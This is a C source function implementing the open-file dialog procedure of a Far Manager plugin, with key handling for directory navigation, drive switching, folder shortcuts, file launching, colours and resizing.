static intptr_t WINAPI OFDProc(HANDLE hDlg,intptr_t Msg,intptr_t Param1,void* Param2) { OFDData *DlgParams=(OFDData *)Info.SendDlgMessage(hDlg,DM_GETDLGDATA,0,0); TCHAR newdir[MAX_PATH]; TCHAR newcurdir[MAX_PATH]; FarListGetItem item={sizeof(FarListGetItem)}; BOOL ItemPresent=FALSE; if (Msg==DN_CONTROLINPUT||Msg==DN_CLOSE) { item.ItemIndex=Info.SendDlgMessage(hDlg,DM_LISTGETCURPOS,0,0); ItemPresent=Info.SendDlgMessage(hDlg,DM_LISTGETITEM,0,&item); if(ItemPresent) { lstrcpy(newcurdir,DlgParams->curr_dir); lstrcat(newcurdir,DlgParams->names[item.ItemIndex].Text); } } switch(Msg) { case DN_CONTROLINPUT: { const INPUT_RECORD* record=(const INPUT_RECORD*)Param2; if(record->EventType==KEY_EVENT&&record->Event.KeyEvent.bKeyDown) { WORD Key=record->Event.KeyEvent.wVirtualKeyCode; wchar_t Char=FSF.LUpper(record->Event.KeyEvent.uChar.UnicodeChar); if((IsNone(record)&&Key==VK_RETURN)||(IsCtrl(record)&&Key==VK_RETURN)||(IsCtrl(record)&&Char=='\\')) { bool bRoot=(Char=='\\'); if(ItemPresent||bRoot) { if(bRoot||(item.Item.Flags&LIF_CHECKED&&IsNone(record))) { TCHAR *ptr,old_dir[MAX_PATH];//,buffer[MAX_PATH]; lstrcpy(old_dir,DlgParams->curr_dir); int Len=lstrlen(old_dir); if (bRoot) { *newdir=0; lstrcpy(newcurdir,_T("..")); } else { GetFullPathName(newcurdir,ArraySize(newdir),newdir,&ptr); FSF.AddEndSlash(newdir); } //MessageBox(NULL,old_dir,newcurdir,MB_OK); if (TryLoadDir(hDlg,DlgParams,newdir)) { if(!lstrcmp(newcurdir+(bRoot?0:Len),_T(".."))) { if(Len) { if (bRoot) { ptr=old_dir; for (; *ptr && *ptr!='\\'; ptr++) ; if (*ptr=='\\') ptr[1]=0; ptr=old_dir; } else { if(old_dir[Len-1]=='\\') old_dir[Len-1]=0; ptr=(TCHAR*)FSF.PointToName(old_dir); } FarListPos Pos={sizeof(FarListPos)}; FarListFind find={sizeof(FarListFind),0,ptr,LIFIND_EXACTMATCH}; Pos.SelectPos=Info.SendDlgMessage(hDlg,DM_LISTFINDSTRING,0,&find); Pos.TopPos=-1; if(Pos.SelectPos>=0) Info.SendDlgMessage(hDlg,DM_LISTSETCURPOS,0,&Pos); } } } return TRUE; } if(!(IsNone(record)&&Key==VK_RETURN)) { Info.SendDlgMessage(hDlg,DM_CLOSE,0,0); return TRUE; } return FALSE; } else return TRUE; } else if(IsShift(record)&&Key==VK_RETURN) { if(ItemPresent) { SHELLEXECUTEINFO info; ZeroMemory(&info,sizeof(info)); info.cbSize=sizeof(info); info.fMask=SEE_MASK_NOCLOSEPROCESS|SEE_MASK_FLAG_DDEWAIT; info.lpFile=newcurdir; info.nShow=SW_SHOWNORMAL; ShellExecuteEx(&info); } return TRUE; } else if(IsAlt(record)&&Char>='A'&&Char<='Z') { int Drive=Char-'A'; DWORD Disks=GetLogicalDrives(); if(Disks&(1<<Drive)) { TCHAR temp_dir[3]=_T("A:"),*fileptr; temp_dir[0]=(TCHAR)(temp_dir[0]+Drive); if(!GetFullPathName(temp_dir,ArraySize(newdir),newdir,&fileptr)) lstrcpy(newdir,temp_dir); FSF.AddEndSlash(newdir); TryLoadDir(hDlg,DlgParams,newdir); } return TRUE; } else if(IsRCtrl(record)&&Char>='0'&&Char<='9') { FarSettingsCreate settings={sizeof(FarSettingsCreate),FarGuid,INVALID_HANDLE_VALUE}; HANDLE Settings=Info.SettingsControl(INVALID_HANDLE_VALUE,SCTL_CREATE,0,&settings)?settings.Handle:0; if(Settings) { FarSettingsEnum enums={sizeof(FarSettingsEnum),0,0,{0}}; enums.Root=FSSF_FOLDERSHORTCUT_0+Char-'0'; if(Info.SettingsControl(Settings,SCTL_ENUM,0,&enums)&&enums.Count>0) { intptr_t menu_id=-1; if (enums.Count==1) { menu_id=0; } else { FarMenuItem *menuElements=(FarMenuItem *)malloc(enums.Count*sizeof(FarMenuItem)); for(size_t ii=0;ii<enums.Count;ii++) { menuElements[ii].Text=enums.Histories[ii].Name; menuElements[ii].Flags=0; } menu_id=Info.Menu(&MainGuid,&ShortcutMenuDiag,-1,-1,0,FMENU_WRAPMODE,GetMsg(mFolderShortcut),0,NULL,NULL,NULL,menuElements,enums.Count); free(menuElements); } if (menu_id!=-1) { lstrcpy(newdir,enums.Histories[menu_id].Name); FSF.AddEndSlash(newdir); TryLoadDir(hDlg,DlgParams,newdir); } } Info.SettingsControl(Settings,SCTL_FREE,0,0); } return TRUE; } else if(IsNone(record)&&Key==VK_LEFT) { INPUT_RECORD keyOut={0}; keyOut.EventType=KEY_EVENT; keyOut.Event.KeyEvent.bKeyDown=1; keyOut.Event.KeyEvent.wRepeatCount=1; keyOut.Event.KeyEvent.wVirtualKeyCode=VK_HOME; Info.SendDlgMessage(hDlg,DM_KEY,1,&keyOut); return TRUE; } else if(IsNone(record)&&Key==VK_RIGHT) { INPUT_RECORD keyOut={0}; keyOut.EventType=KEY_EVENT; keyOut.Event.KeyEvent.bKeyDown=1; keyOut.Event.KeyEvent.wRepeatCount=1; keyOut.Event.KeyEvent.wVirtualKeyCode=VK_END; Info.SendDlgMessage(hDlg,DM_KEY,1,&keyOut); return TRUE; } } } break; case DN_CTLCOLORDIALOG: Info.AdvControl(&MainGuid,ACTL_GETCOLOR,COL_MENUTEXT, Param2); return true; case DN_CTLCOLORDLGLIST: if(Param1==0) { FarDialogItemColors *fdic=(FarDialogItemColors *)Param2; FarColor *Colors = fdic->Colors; int ColorIndex[]={COL_MENUTEXT,COL_MENUTEXT,COL_MENUTITLE,COL_MENUTEXT,COL_MENUHIGHLIGHT,COL_MENUTEXT,COL_MENUSELECTEDTEXT,COL_MENUSELECTEDHIGHLIGHT,COL_MENUSCROLLBAR,COL_MENUDISABLEDTEXT}; size_t Count=sizeof(ColorIndex)/sizeof(ColorIndex[0]); if(Count>fdic->ColorsCount) Count=fdic->ColorsCount; for(size_t i=0;i<Count;i++) { FarColor fc; if (Info.AdvControl(&MainGuid, ACTL_GETCOLOR, ColorIndex[i],&fc)) { Colors[i] = fc; } } return TRUE; } break; case DN_INITDIALOG: Info.SendDlgMessage(hDlg,DM_UPDATESIZE,0,0); TryLoadDir(hDlg,(OFDData *)Param2,((OFDData *)Param2)->curr_dir); break; case DN_HELP: Info.ShowHelp(Info.ModuleName,_T("FileDialog"),FHELP_SELFHELP); return (long)NULL; case DN_CLOSE: { if((Param1==0)&&ItemPresent) { lstrcpy(DlgParams->filename,DlgParams->curr_dir); if(lstrcmp(DlgParams->names[item.ItemIndex].Text,_T(".."))) lstrcat(DlgParams->filename,DlgParams->names[item.ItemIndex].Text); DlgParams->result=true; } if (DlgParams->names) { free(DlgParams->names); DlgParams->names=NULL; } } break; case DN_RESIZECONSOLE: Info.SendDlgMessage(hDlg,DM_UPDATESIZE,0,0); break; case DM_UPDATESIZE: { const int minimal_width=65,minimal_height=12; int width=minimal_width,height=minimal_height; HANDLE console=CreateFile(_T("CONOUT$"),GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if(console!=INVALID_HANDLE_VALUE) { COORD console_size={80,25}; SMALL_RECT console_rect; if(Info.AdvControl(&MainGuid,ACTL_GETFARRECT,0,&console_rect)) { console_size.X=console_rect.Right-console_rect.Left+1; console_size.Y=console_rect.Bottom-console_rect.Top+1; } width=console_size.X*3/5; if(width<minimal_width) width=minimal_width; height=console_size.Y*2/3; if(height<minimal_height) height=minimal_height; if(width>(console_size.X-11)) width=console_size.X-11; if(height>(console_size.Y-4)) height=console_size.Y-4; CloseHandle(console); } Info.SendDlgMessage(hDlg,DM_ENABLEREDRAW,FALSE,0); { //minimize listbox SMALL_RECT listbox_size={3,1,4,2}; Info.SendDlgMessage(hDlg,DM_SETITEMPOSITION,0,&listbox_size); } { //resize and move dialog COORD dialog_size={(short)(width+6),(short)(height+2)}; Info.SendDlgMessage(hDlg,DM_RESIZEDIALOG,0,&dialog_size); COORD position={-1,-1}; Info.SendDlgMessage(hDlg,DM_MOVEDIALOG,TRUE,&position); } { //resize listbox SMALL_RECT listbox_size={3,1,(short)(width+2),(short)(height)}; Info.SendDlgMessage(hDlg,DM_SETITEMPOSITION,0,&listbox_size); } Info.SendDlgMessage(hDlg,DM_ENABLEREDRAW,TRUE,0); } break; } return Info.DefDlgProc(hDlg,Msg,Param1,Param2); }